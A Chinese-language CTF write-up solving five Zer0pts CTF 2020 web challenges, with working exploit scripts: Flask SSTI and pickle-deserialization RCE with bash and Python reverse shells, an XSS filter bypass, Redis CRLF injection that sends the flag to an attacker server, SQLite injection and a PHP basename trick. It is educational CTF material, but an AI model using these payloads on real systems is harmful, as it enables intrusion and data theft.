前言
打了Zer0pts CTF 2020感覺題目不錯就總結一下。
復現環境地址:https://gitlab.com/zer0pts/zer0pts-ctf-2020/
0x01 notepad
1.題目源碼:
...省略...
app = flask.Flask(__name__)
app.secret_key = os.urandom(16)
bootstrap = flask_bootstrap.Bootstrap(app)
@app.route('/', methods=['GET'])
def index():
return notepad(0)
@app.route('/note/<int:nid>', methods=['GET'])
def notepad(nid=0):
data = load()
if not 0 <= nid < len(data):
nid = 0
return flask.render_template('index.html', data=data, nid=nid)
...省略...
@app.errorhandler(404)
def page_not_found(error):
""" Automatically go back when page is not found """
referrer = flask.request.headers.get("Referer")
if referrer is None: referrer = '/'
if not valid_url(referrer): referrer = '/'
html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)
return flask.render_template_string(html), 404
def valid_url(url):
""" Check if given url is valid """
host = flask.request.host_url
if not url.startswith(host): return False # Not from my server
if len(url) - len(host) > 16: return False # Referer may be also 404
return True
def load():
""" Load saved notes """
try:
savedata = flask.session.get('savedata', None)
data = pickle.loads(base64.b64decode(savedata))
except:
data = [{"date": now(), "text": "", "title": "*New Note*"}]
return data
...省略...
2.方法一:處理404頁面的page_not_found()函數存在模板注入:
@app.errorhandler(404)
def page_not_found(error):
""" Automatically go back when page is not found """
referrer = flask.request.headers.get("Referer")
if referrer is None: referrer = '/'
if not valid_url(referrer): referrer = '/'
html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)
return flask.render_template_string(html), 404
referer可控,但是限制了長度。所以利用這裡的SSTI可以讀取一些配置,但是不能直接RCE。
GET /404 HTTP/1.1
Host: 192.168.0.107:8001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.107:8001/?{{config}}
Connection: close
Upgrade-Insecure-Requests: 1
響應的結果如下:
HTTP/1.0 404 NOT FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 1631
Server: Werkzeug/0.16.0 Python/3.7.3rc1
Date: Wed, 18 Mar 2020 17:25:11 GMT
<html><head><meta http-equiv="Refresh" content="3;URL=http://192.168.220.157:8001/?<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': b'E\xdd\xdb\xdb\xb0\x00w.\xafD=\x12\xed\xf6!\xea', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'BOOTSTRAP_USE_MINIFIED': True, 'BOOTSTRAP_CDN_FORCE_SSL': False, 'BOOTSTRAP_QUERYSTRING_REVVING': True, 'BOOTSTRAP_SERVE_LOCAL': False, 'BOOTSTRAP_LOCAL_SUBDOMAIN': None}>"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>
得到的secret_key
為b'E\xdd\xdb\xdb\xb0\x00w.\xafD=\x12\xed\xf6!\xea',因此我們可以偽造session的值。
第二個洞是python反序列化:
...
import pickle
...
@app.route('/note/<int:nid>', methods=['GET'])
def notepad(nid=0):
data = load()
if not 0 <= nid < len(data):
nid = 0
return flask.render_template('index.html', data=data, nid=nid)
...
def load():
""" Load saved notes """
try:
savedata = flask.session.get('savedata', None)
data = pickle.loads(base64.b64decode(savedata))
except:
data = [{"date": now(), "text": "", "title": "*New Note*"}]
return data
...
flask用的是客戶端的session,因此這裡的pickle.loads()的參數可控。顯然,解題的思路就是用上面我們讀到的secret_key偽造session,然後觸發pickle反序列化,導致RCE。
payload如下:
from flask.sessions import SecureCookieSessionInterface
import os, sys, pickle, base64, requests
COMMAND = "bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1'"
class PickleRce(object):
def __reduce__(self):
return (os.system,(COMMAND,))
class App(object):
def __init__(self):
self.secret_key = None
app = App()
app.secret_key = b'E\xdd\xdb\xdb\xb0\x00w.\xafD=\x12\xed\xf6!\xea'
si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)
session = serializer.dumps({'savedata':base64.b64encode(pickle.dumps(PickleRce()))})
requests.get('http://192.168.220.157:8001/note/1', cookies = {
'session': session
});
3.方法二:通常python反序列化可以直接反彈shell:
import os
import pickle
class Exp(object):
def __reduce__(self):
cmd = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.220.157",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
return (os.system, (cmd,))
exp = Exp()
result = pickle.dumps(exp)
print(result)
data=pickle.loads(result)
print(data)
假設題目不能通外網,那麼這道題目怎麼解決?
在flask中其實也可以在反序列化中再嵌套模板注入來實現直接回顯RCE:
class Exp(object):
def __reduce__(self):
return (
render_template_string,("{{payload}}",)
)
由於題目環境是python3因此我們給出下面的幾個python3常用的payload:
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__
#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
不過這題還有個問題:
@app.route('/note/<int:nid>', methods=['GET'])
def notepad(nid=0):
data = load()
if not 0 <= nid < len(data):
nid = 0
return flask.render_template('index.html', data=data, nid=nid)
```
我們return的render_template_string()是傳給了data,然後在傳入後面的render_template(),並沒有直接讓請求結束,返回結果。而render_template_string()是個字符串,在index.html模板裡遍歷輸出:
<ul>
{% for note in data %}
<li{% if loop.index0 == nid %}{% endif %}><a href="/note/{{ loop.index0 }}">{{note.title}}</a></li>
{% endfor %}
<hr>
<li><a href="/reset">Reset All</a></li>
</ul>
所以我們可以通過這種方式構造回顯,結果如下:
由於字符串有多長就會遍歷多少次,所以我們的思路是利用顯示的長度來進行注入。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("ord(__import__('os').popen('cat flag').read()[0])*'a'") }}{% endif %}{% endfor %}
如果flag的第一個字符是a,就會遍歷輸出97個<li>。
solve.py:
from flask.sessions import SecureCookieSessionInterface
import os, sys, pickle, base64, requests
from flask import render_template_string
import re
class Exploit(object):
def __init__(self, pos):
self.temp = """
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("ord(__import__('os').popen('cat flag').read()[pos])*'a'") }}
{% endif %}
{% endfor %}
""".replace('pos', pos)
def __reduce__(self):
return (
render_template_string, (self.temp,))
class App(object):
def __init__(self):
self.secret_key = None
app = App()
app.secret_key = b'S^\x94\xa0\x05\xa3\xf4\x91\x052$\xd3\x86gX\xc2'
si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)
regex=r'<li><a href="/note/(\d+)">.*</a></li>'
flag=''
for i in range(0,40):
session = serializer.dumps({'savedata': base64.b64encode(pickle.dumps(Exploit(str(i))))})
resp=requests.get('http://192.168.220.157:8001/', cookies={
'session': session
});
find=re.findall(regex,resp.text)
print(find)
if find:
flag+=chr(int(find[find.__len__()-1])+1)
print(flag)
0x02 MusicBlog
源碼裡給了個瀏覽器的bot腳本,worker.js:
// (snipped)
const flag = 'zer0pts{<censored>}';
// (snipped)
const crawl = async (url) => {
console.log(`[+] Query! (${url})`);
const page = await browser.newPage();
try {
await page.setUserAgent(flag);
await page.goto(url, {
waitUntil: 'networkidle0',
timeout: 10 * 1000,
});
await page.click('#like');
} catch (err){
console.log(err);
}
await page.close();
console.log(`[+] Done! (${url})`)
};
// (snipped)
該腳本的功能是設置flag在瀏覽器的UA裡,並且點擊id為like的標籤。
接下來當我們登陸後我們可以在new_post.php的content欄位中插入html標籤。
<form action="/new_post.php" method="POST">
<div>
<label for="title">Title</label>
<input type="text" id="title" name="title">
<small>format: <code>/^[0-9A-Za-z ]+$/</code></small>
</div>
<div>
<label for="content">Content</label>
<textarea id="content" name="content" rows="5"></textarea>
<small>Note: <code>[[URL]]</code> will be replaced by audio player.</small>
</div>
</form>
但是有過濾,只允許<audio>標籤。
<?php
// [[URL]] → <audio src="URL"></audio>
function render_tags($str) {
$str = preg_replace('/\[\[(.+?)\]\]/', '<audio controls src="\\1"></audio>', $str);
$str = strip_tags($str, '<audio>'); // only allows `<audio>`
return $str;
}
而<audio>受以下CSP的限制,無法跨域請求:
<?php
error_reporting(0);
require_once 'config.php';
require_once 'util.php';
$nonce = get_nonce();
header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic'; base-uri 'none'; trusted-types");
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');
session_start();
不過我們可以看到上面使用了strip_tags()這個函數,不過這個函數有個bug,參考連結如下:
https://bugs.php.net/bug.php?id=78814
它允許標籤裡出現斜線,猜測這是為了匹配閉合標籤的。但是沒有判斷斜線的位置,在哪出現都可以:
root@kali:~# php -r "var_dump(strip_tags('<a/udio>','<audio>'));"
string(8) "<a/udio>"
顯然<a/udio>在瀏覽器裡會解析成<a>標籤,而超連結的跳轉不受CSP的限制。
payload如下:
<a/udio id=like href=//xxx.xx/>x
而且我們輸入的內容是在第一個點讚按鈕的上面,因此bot將會點擊我們構造的標籤。當bot點擊我們構造的標籤時,將會把flag帶出。最後拿到的flag是:zer0pts{M4sh1m4fr3sh!!}。這題還是比較簡單的。
0x03 urlapp
方法一:
題目源碼:
...省略...
def connect()
sock = TCPSocket.open("redis", 6379)
if not ping(sock) then
exit
end
return sock
end
def query(sock, cmd)
sock.write(cmd + "rn")
end
def recv(sock)
data = sock.gets
if data == nil then
return nil
elsif data[0] == "+" then
return data[1..-1].strip
elsif data[0] == "$" then
if data == "$-1rn" then
return nil
end
return sock.gets.strip
end
return nil
end
def ping(sock)
query(sock, "ping")
return recv(sock) == "PONG"
end
def set(sock, key, value)
query(sock, "SET #{key} #{value}")
return recv(sock) == "OK"
end
def get(sock, key)
query(sock, "GET #{key}")
return recv(sock)
end
before do
sock = connect()
set(sock, "flag", File.read("flag.txt").strip)
end
get '/' do
if params.has_key?(:q) then
q = params[:q]
if not (q =~ /^[0-9a-f]{16}$/)
return
end
sock = connect()
url = get(sock, q)
redirect url
end
send_file 'index.html'
end
post '/' do
if not params.has_key?(:url) then
return
end
url = params[:url]
if not (url =~ URI.regexp) then
return
end
key = Random.urandom(8).unpack("H*")[0]
sock = connect()
set(sock, key, url)
"#{request.host}:#{request.port}/?q=#{key}"
end
功能很簡單,就是個URL縮短,用redis作存儲。
漏洞也是很明顯,url可控,可以通過CRLF注入直接操作redis。
現在我們直接用CRLF注入構造一個完整的url,由於最後會重定向因此可以在自己的伺服器上收到flag。
腳本如下:
import requests
url='http://192.168.220.154:8004/'
query = {'url': 'http://xxx.xxx.xxx.xxx:xxxx/?q=\r\n'}
r = requests.post(url, data=query)
code = r.content[-16:]
print code
p1 = "SCRIPT LOAD \"redis.call('APPEND', KEYS[2], redis.call('GET', KEYS[1])); return 1;\"\r\n"
p2 = "EVALSHA 7614be2a5fac38857cd5a98f26d710f988d1b25f 2 flag {}\r\n".format(code)
query = {'url': 'http://xxx.xxx.xxx.xxx:xxxx/?q=\r\n' + p1 + p2}
r = requests.post(url, data=query)
r = requests.get(url + '?q={}'.format(code))
# script load "redis.call('APPEND',KEYS[2],redis.call('GET',KEYS[1])); return 1;"
# evalsha 2e6ae1cf12eb9f6554360ede553f0a4bcf8e79ab 2 flag 3bd874b8c5dafc18
結果如下:
Listening on [0.0.0.0] (family 0, port 5478)
Connection from [58.16.191.108] port 5478 [tcp/*] accepted (family 2, sport 36352)
GET /?q=Zer0pts%7Bsh0rt_t0_10ng_10ng_t0_sh0rt%7D HTTP/1.1
Host: xxx.xxx.xxx.xxx:xxxx
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
如有什麼不明白的可以參考下面的連結。
方法二:跟上面差不多,不過這次我們不用這麼麻煩了直接設置一個上面可以get的鍵在構造一個可以重定向的url即可。
import requests
url = 'http://192.168.220.154:8004/'
query = {
'url': 'http://xxx.xxx.xxx.xxx:xxxx/?q=\r\n'+'eval "redis.call(\'set\',\'e41cf0f94e050661\',\'http://xxx.xxx.xxx.xxx:xxxx?\'..redis.call(\'get\',\'flag\'));return 1;" 0'
}
r = requests.post(url, data=query)
code = r.content[-16:]
print code
r=requests.get('http://192.168.220.154:8004/?q=e41cf0f94e050661')
print r.url
結果如下:
Listening on [0.0.0.0] (family 0, port 5478)
Connection from [58.16.191.108] port 5478 [tcp/*] accepted (family 2, sport 36741)
GET /?Zer0pts%7Bsh0rt_t0_10ng_10ng_t0_sh0rt%7D HTTP/1.1
Host: xxx.xxx.xxx.xxx:xxxx
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
0x04 phpNantokaAdmin
題目簡介:
phpNantokaAdmin is a management tool for SQLite.
題目源碼:
index.php
<?php
include 'util.php';
include 'config.php';
error_reporting(0);
session_start();
$method = (string) ($_SERVER['REQUEST_METHOD'] ?? 'GET');
$page = (string) ($_GET['page'] ?? 'index');
...省略...
if (in_array($page, ['insert', 'delete']) && !isset($_SESSION['database'])) {
flash("Please create database first.");
}
if (isset($_SESSION['database'])) {
$pdo = new PDO('sqlite:db/' . $_SESSION['database']);
$stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' AND name <> '" . FLAG_TABLE . "' LIMIT 1;");
$table_name = $stmt->fetch(PDO::FETCH_ASSOC)['name'];
$stmt = $pdo->query("PRAGMA table_info(`{$table_name}`);");
$column_names = $stmt->fetchAll(PDO::FETCH_ASSOC);
}
if ($page === 'insert' && $method === 'POST') {
$values = $_POST['values'];
$stmt = $pdo->prepare("INSERT INTO `{$table_name}` VALUES (?" . str_repeat(',?', count($column_names) - 1) . ")");
$stmt->execute($values);
redirect('?page=index');
}
if ($page === 'create' && $method === 'POST' && !isset($_SESSION['database'])) {
if (!isset($_POST['table_name']) || !isset($_POST['columns'])) {
flash('Parameters missing.');
}
$table_name = (string) $_POST['table_name'];
$columns = $_POST['columns'];
$filename = bin2hex(random_bytes(16)) . '.db';
$pdo = new PDO('sqlite:db/' . $filename);
if (!is_valid($table_name)) {
flash('Table name contains dangerous characters.');
}
...省略...
$sql = "CREATE TABLE {$table_name} (";
$sql .= "dummy1 TEXT, dummy2 TEXT";
for ($i = 0; $i < count($columns); $i++) {
$column = (string) ($columns[$i]['name'] ?? '');
$type = (string) ($columns[$i]['type'] ?? '');
if (!is_valid($column) || !is_valid($type)) {
flash('Column name or type contains dangerous characters.');
}
if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) {
flash('Column name and type must be 1-32 characters.');
}
$sql .= ', ';
$sql .= "`$column` $type";
}
$sql .= ');';
$pdo->query('CREATE TABLE `' . FLAG_TABLE . '` (`' . FLAG_COLUMN . '` TEXT);');
$pdo->query('INSERT INTO `' . FLAG_TABLE . '` VALUES ("' . FLAG . '");');
$pdo->query($sql);
$_SESSION['database'] = $filename;
redirect('?page=index');
}
...省略...
if ($page === 'index' && isset($_SESSION['database'])) {
$stmt = $pdo->query("SELECT * FROM `{$table_name}`;");
if ($stmt === FALSE) {
$_SESSION = array();
session_destroy();
redirect('?page=index');
}
$result = $stmt->fetchAll(PDO::FETCH_NUM);
}
?>
<!doctype html>
<html>
...省略...
<?php if ($page === 'index') { ?>
<?php if (isset($_SESSION['database'])) { ?>
<h2><?= e($table_name) ?> (<a href="?page=delete">Delete table</a>)</h2>
<form action="?page=insert" method="POST">
<table>
<tr>
<?php for ($i = 0; $i < count($column_names); $i++) { ?>
<th><?= e($column_names[$i]['name']) ?></th>
<?php } ?>
</tr>
<?php for ($i = 0; $i < count($result); $i++) { ?>
<tr>
<?php for ($j = 0; $j < count($result[$i]); $j++) { ?>
<td><?= e($result[$i][$j]) ?></td>
<?php } ?>
</tr>
<?php } ?>
<tr>
...省略...
util.php
<?php
...省略...
function is_valid($string) {
$banword = [
// comment out, calling function...
"[\"#'()*,\\/\\\\`-]"
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $string)) {
return false;
}
return true;
}
首先我們需要了解三個小知識。
第一個:我們在使用sqlite語法的時候列名是可以加方括號的,是為了和mysql語法兼容。例如:select [sql] from sqlite_master;
第二個:我們在使用sqlite_master時使用錯誤的語法,sqlite將會忽略後面列的名稱,無論列的名稱是否真實的存在,除非在列之間放置。
create table sometbl (somecol INT);
insert into sometbl values(1);
select somecol from sometbl;
// 1
select somecol somecoaaaal from sometbl;
// 1
第三個:我們在使用sqlite語法時,用該語句create table ..as select ..創建表時可以不用帶括號。例如:
create table sometbl2 as select 2;
select * from sometbl2;
2通過閱讀上面的原始碼,我們發現table_name和columns參數存在SQL注入,但是我們不知道flag的表名和列名。每個sqlite都有一個自動創建的庫sqlite_master,裡面保存了所有表名以及創建表時的create語句。我們可以從中獲取到flag的表名和欄位名。利用第三個知識點,在創建表時可以用as來複製另一個表中的數據。這裡我們就可以用as select sql from sqlite_master來複製sqlite_master的sql欄位。還有就是,這裡拼接的這一串字符是在as後面的,會影響後面的sql正常執行。
因為後面的$column也是可控的,所以這裡可以用as "..."來把這一段幹擾字符閉合到查詢的別名裡。雙引號被過濾了,在sqlite中可以用中括號[]來代替。
payload如下:
table_name=aaa as select sql as[&columns[0][name]=]from sqlite_master;&columns[0][type]=2
我們將該payload先用post請求該/?page=create路由後創建表aaa和複製數據sql,再用get請求該/?page=index路由後就可以得到sql結果:
得到了表名和列名後,我們用同樣的方法複製出flag,payload如下:
table_name=aaa as select flag_2a2d04c3 as[&columns[0][name]=]from flag_bf1811da;&columns[0][type]=2
成功獲取flag:
0x05 Can you guess it
題目源碼:
index.php
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
...省略...
通過閱讀上面的代碼,我們唯一可以利用的點是highlight_file(),它可以用來顯示代碼,我們的目標是利用它來讀取config.php文件,由於flag在裡面。但是有一個過濾:
<?php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
由於'/config\.php\/*$/i'的過濾我們就不能直接用/index.php/config.php?source來顯示config.php文件。
我們知道$_SERVER['PHP_SELF']是可控的值,相對於根目錄。
上面還有一個比較明顯的漏洞就是basename()函數,它會忽略後面的[\x80-\xff]範圍內的字符串。例子如下:
php -r 'print(basename("index.php/config.php/\x80"));' // config.php
php -r 'print(basename("\x80index.php/config.php"));' // config.php
結合上面的兩點,我們的payload如下:
http://3.112.201.75:8003/index.php/config.php/%80?source
結果如下:
<?php
define('FLAG', 'zer0pts{gu3ss1ng_r4nd0m_by73s_1s_un1n73nd3d_s0lu710n}');